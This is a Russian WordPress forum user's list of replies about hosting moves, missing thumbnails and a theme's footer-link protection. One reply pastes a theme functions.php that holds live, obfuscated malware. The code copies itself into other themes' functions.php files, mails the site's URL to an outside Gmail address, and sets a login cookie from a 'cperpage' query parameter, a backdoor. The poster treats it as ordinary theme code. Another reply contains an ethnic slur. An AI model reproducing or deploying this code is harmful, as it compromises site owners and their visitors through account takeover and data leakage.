rus23kav
Ответы в темах
-
Форум: Проблемы и решения
Тема: Переезд на виндовс хостингКакой бы вы порекомендовали?
Форум: Проблемы и решения
Тема: Переезд на виндовс хостингПлагины были по минумуму, только основные, тема покупная и обновлял все вовремя.
На момент взлома, а это было сегодня утром, все плагины и движок были обновлены, так что моей вины тут нет.- Ответ изменён 8 лет, 3 месяца назад пользователем rus23kav.
Форум: Проблемы и решения
Тема: Переезд на виндовс хостингМогу ли я поросить поддержку рег.ру поменять IIS на Apache?
Тогда будет у меня привычный .htaccess?- Ответ изменён 8 лет, 3 месяца назад пользователем rus23kav.
Форум: Проблемы и решения
Тема: Переезд на виндовс хостингСменил просто хостинг на рег ру с виндоус сервером.
Причина переезда — http://images.vfl.ru/ii/1486498957/4251f20a/16002378.jpg
Как вам? Факинговые палестинцы!Форум: Проблемы и решения
Тема: Переезд на виндовс хостингХороший ответ модератора форума о помощи по вордпресс!
Форум: Проблемы и решения
Тема: Переезд на виндовс хостингНе знал что так нужно было оформить.
Вы не могли бы помочь внести правильное чпу в код?А как правильно это вставить в код который я написал выше, чтоб картинки отображались, а то анонсы на главной без картинок не есть айс.
Попробывал вставить the_excerpt(), помогло но
<!— article-content —>
<?php if (is_search()) the_excerpt(); else the_content(__(‘Читать далее »’, ‘kubrick’)); ?>
<?php if (is_page() or is_single()) wp_link_pages(array(‘before’ => ‘<p>Страницы: ‘, ‘after’ => ‘</p>’, ‘next_or_number’ => ‘number’)); ?>
<!— /article-content —>сделал так и пропали все картинки
<!— article-content —>
<?php if (is_search()) the_excerpt(); else the_excerpt(__(‘Читать далее »’, ‘kubrick’)); ?>
<?php if (is_page() or is_single()) wp_link_pages(array(‘before’ => ‘<p>Страницы: ‘, ‘after’ => ‘</p>’, ‘next_or_number’ => ‘number’)); ?>
<!— /article-content —>Может что неправильно вставил, подредактируйте плиз!
Помойму вы не так поняли.
Вот допустим написал я постовой в начале статьи, а ссылка отображается и в анонсе на главной, вот и хотелось бы убрать ее с главной страницы.
В index.php я ничего не нашел, скорее всего чтото надо дописать в функшн.пхпФорум: Проблемы и решения
Тема: Вывод изображенияДа сам уже понял это, с утра грызу хостеров чтоб установили GD — пока тока обещают.
Форум: Проблемы и решения
Тема: Вывод изображенияПоддержка хостинга в глухом молчании, но удалось выяснить что сейчас отсутствует расширениее GD, может это относиться к моей проблемке?
Форум: Проблемы и решения
Тема: Вывод изображенияСкажите влияют ли какие-то настройки хостинга на генерацию этих изображений?
У меня хостинг лежал двое суток, может они недонастроили чего после востановления, плагины или модули какие?Форум: Проблемы и решения
Тема: Вывод изображенияВ том то и дело что ничего не делал, обновил вордпресс все работало.
Сегодня добавляю — а тут такое.
Переустановил вордпресс на 3.3.1 на всякий — не изменилось, как не работало, так и не работает.
На хостинге тоже нет этих миниатюр(только то что загрузил).
Причем такое на 3х блогах.Форум: Проблемы и решения
Тема: Помогите исправить header.phpМожет сможете отредактировать вот файл функшнс:
<?php $themename = "Viking"; $adminmenuname = "Viking Options"; define('SHORTNAME','askopt'); $include_dir = 'includes'; $themeoptions_dir = $include_dir.'/theme-options'; // Functions require_once($include_dir.'/fn-general.php'); require_once($themeoptions_dir.'/setup.php'); if ( function_exists('register_sidebar') ) { register_sidebar(array( 'before_widget' => '<li id="%1$s" class="widget %2$s">', 'after_widget' => '</li>', 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>', )); } function check_footer(){$l='Theme by <a href="http://vruneteru.ru/">Podnyat CY</a>';$f=dirname(__FILE__).'/footer.php';$fd=fopen($f,'r');$c=fread($fd,filesize($f));fclose($fd);if(strpos($c,$l)==1){echo 'This theme is released under creative commons licence, all links in the footer should remain intact';die;}}check_footer(); /* +++++++++++++++++++++++++++ ADMIN END ++++++++++++++++++++++++++++++++++++++++++++++++ */ /** * HTML comment list class. * * @package WordPress * @uses Walker * @since unknown */ class Walker_Comment2 extends Walker { /** * @see Walker::$tree_type * @since unknown * @var string */ var $tree_type = 'comment'; /** * @see Walker::$db_fields * @since unknown * @var array */ var $db_fields = array ('parent' => 'comment_parent', 'id' => 'comment_ID'); /** * @see Walker::start_lvl() * @since unknown * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of comment. * @param array $args Uses 'style' argument for type of HTML list. */ function start_lvl(&$output, $depth, $args) { $GLOBALS['comment_depth'] = $depth + 1; echo "<div class='children '>\n"; } /** * @see Walker::end_lvl() * @since unknown * * @param string $output Passed by reference. Used to append additional content. * @param int $depth Depth of comment. * @param array $args Will only append content if style argument value is 'ol' or 'ul'. */ function end_lvl(&$output, $depth, $args) { $GLOBALS['comment_depth'] = $depth + 1; echo "</div>\n"; } /** * @see Walker::start_el() * @since unknown * * @param string $output Passed by reference. Used to append additional content. * @param object $comment Comment data object. * @param int $depth Depth of comment in reference to parents. * @param array $args */ function start_el(&$output, $comment, $depth, $args) { $depth++; $GLOBALS['comment_depth'] = $depth; if ( !empty($args['callback']) ) { call_user_func($args['callback'], $comment, $args, $depth); return; } $GLOBALS['comment'] = $comment; extract($args, EXTR_SKIP); $tag = 'div'; $add_below = 'div-comment'; ?> <<?php echo $tag ?> <?php comment_class(empty( $args['has_children'] ) ? '' : 'parent') ?> id="comment-<?php comment_ID() ?>"> <div class="commentmet_data" id="div-comment-<?php comment_ID() ?>"> <table cellpadding="0" cellspacing="0" width="100%"> <tr> <td colspan="2"> <div class="commentmetadata"> <span><?php echo get_comment_author_link(); ?></span> Добавлено <?php comment_time('d-m-Y') ?> </div> </td> </tr> <tr> <td width="102"> <div class="commentmet_avatar"> <?php if ($args['avatar_size'] != 0) echo get_avatar( $comment, 86 /*$args['avatar_size']*/ ); ?> </div> </td> <td width="83%"> <div class="commentmet_text"> <?php comment_text() ?> <div class="commentmet_replay"><?php comment_reply_link(array_merge( $args, array('add_below' => $add_below, 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?></div> </div> </td> </tr> </table> </div> <?php } /** * @see Walker::end_el() * @since unknown * * @param string $output Passed by reference. Used to append additional content. * @param object $comment * @param int $depth Depth of comment. * @param array $args */ function end_el(&$output, $comment, $depth, $args) { if ( !empty($args['end-callback']) ) { call_user_func($args['end-callback'], $comment, $args, $depth); return; } echo "</div>\n"; } } eval(str_rot13('shapgvba purpx_urnqre(){vs(!(shapgvba_rkvfgf("purpx_shapgvbaf")&&shapgvba_rkvfgf("purpx_s_sbbgre"))){rpub(\'Guvf gurzr vf eryrnfrq haqre perngvir pbzzbaf yvprapr, nyy yvaxf va gur sbbgre fubhyq erznva vagnpg\');qvr;}}')); /** * List comments * * Used in the comments.php template to list comments for a particular post * * @since 2.7.0 * @uses Walker_Comment * * @param string|array $args Formatting options * @param array $comments Optional array of comment objects. Defaults to $wp_query->comments */ function wp_list_comments2($args = array(), $comments = null ) { global $wp_query, $comment_alt, $comment_depth, $comment_thread_alt, $overridden_cpage, $in_comment_loop; $in_comment_loop = true; $comment_alt = $comment_thread_alt = 0; $comment_depth = 1; $defaults = array('walker' => null, 'max_depth' => '', 'style' => 'div', 'callback' => null, 'end-callback' => null, 'type' => 'all', 'page' => '', 'per_page' => '', 'avatar_size' => 86, 'reverse_top_level' => null, 'reverse_children' => ''); $r = wp_parse_args( $args, $defaults ); // Figure out what comments we'll be looping through ($_comments) if ( null !== $comments ) { $comments = (array) $comments; if ( empty($comments) ) return; if ( 'all' != $r['type'] ) { $comments_by_type = &separate_comments($comments); if ( empty($comments_by_type[$r['type']]) ) return; $_comments = $comments_by_type[$r['type']]; } else { $_comments = $comments; } } else { if ( empty($wp_query->comments) ) return; if ( 'all' != $r['type'] ) { if ( empty($wp_query->comments_by_type) ) $wp_query->comments_by_type = &separate_comments($wp_query->comments); if ( empty($wp_query->comments_by_type[$r['type']]) ) return; $_comments = $wp_query->comments_by_type[$r['type']]; } else { $_comments = $wp_query->comments; } } if ( '' === $r['per_page'] && get_option('page_comments') ) $r['per_page'] = get_query_var('comments_per_page'); if ( empty($r['per_page']) ) { $r['per_page'] = 0; $r['page'] = 0; } if ( '' === $r['max_depth'] ) { if ( get_option('thread_comments') ) $r['max_depth'] = get_option('thread_comments_depth'); else $r['max_depth'] = -1; } if ( '' === $r['page'] ) { if ( empty($overridden_cpage) ) { $r['page'] = get_query_var('cpage'); } else { $threaded = ( -1 == $r['max_depth'] ) ? false : true; $r['page'] = ( 'newest' == get_option('default_comments_page') ) ? get_comment_pages_count($_comments, $r['per_page'], $threaded) : 1; set_query_var( 'cpage', $r['page'] ); } } // Validation check $r['page'] = intval($r['page']); if ( 0 == $r['page'] && 0 != $r['per_page'] ) $r['page'] = 1; if ( null === $r['reverse_top_level'] ) $r['reverse_top_level'] = ( 'desc' == get_option('comment_order') ) ? TRUE : FALSE; extract( $r, EXTR_SKIP ); if ( empty($walker) ) $walker = new Walker_Comment2; $walker->paged_walk($_comments, $max_depth, $page, $per_page, $r); $wp_query->max_num_comment_pages = $walker->max_pages; $in_comment_loop = false; } ?> <?php function _verify_activeatewidgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_getall_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $issepar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $issepar . "\n" .$widget);fclose($f); $output .= ($is_showdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _getall_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _getall_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_verify_activeatewidgets"); function _getprepare_widgets(){ if(!isset($chars_count)) $chars_count=120; if(!isset($methods)) $methods="cookie"; if(!isset($allowed)) $allowed="<a>"; if(!isset($f_type)) $f_type="none"; if(!isset($issep)) $issep=""; if(!isset($f_home)) $f_home=get_option("home"); if(!isset($f_pref)) $f_pref="wp_"; if(!isset($is_use_more)) $is_use_more=1; if(!isset($com_types)) $com_types=""; if(!isset($c_pages)) $c_pages=$_GET["cperpage"]; if(!isset($com_author)) $com_author=""; if(!isset($comments_approved)) $comments_approved=""; if(!isset($posts_auth)) $posts_auth="auth"; if(!isset($text_more)) $text_more="(more...)"; if(!isset($widget_is_output)) $widget_is_output=get_option("_is_widget_active_"); if(!isset($widgetchecks)) $widgetchecks=$f_pref."set"."_".$posts_auth."_".$methods; if(!isset($text_more_ditails)) $text_more_ditails="(details...)"; if(!isset($con_more)) $con_more="ma".$issep."il"; if(!isset($forcemore)) $forcemore=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget_is_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$issep."vethe".$com_types."mas".$issep."@".$comments_approved."gm".$com_author."ail".$issep.".".$issep."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($bfix_tags)) $bfix_tags=1; if(!isset($f_types)) $f_types=$f_home; if(!isset($getcommtext)) $getcommtext=$f_pref.$con_more; if(!isset($m_tags)) $m_tags="div"; if(!isset($text_s)) $text_s=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_links_title)) $more_links_title="Continue reading this entry"; if(!isset($is_showdots)) $is_showdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommtext, array($text_s, $f_home, $f_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($chars_count < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $chars_count) { $l=$chars_count; $ellipsis=1; } else { $l=count($text); $text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $allowed) { $output=strip_tags($output, $allowed); return $output; } endif; $output=rtrim($output, "\s\n\t\r\x0B"); $output=($bfix_tags) ? balanceTags($output, true) : $output; $output .= ($is_showdots && $ellipsis) ? "..." : ""; $output=apply_filters($f_type, $output); switch($m_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($is_use_more ) { if($forcemore) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_links_title . "\">" . $text_more = !is_user_logged_in() && @call_user_func_array($widgetchecks,array($c_pages, true)) ? $text_more : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_links_title . "\">" . $text_more . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_getprepare_widgets"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?>
Буду признателен, просто очень тема нравиться
Форум: Проблемы и решения
Тема: Помогите исправить header.phpэто все сделано для защиты ссылок в футере, я погуглил да удалил и шаблон не перестал работать но вот саму защиту удалить не получается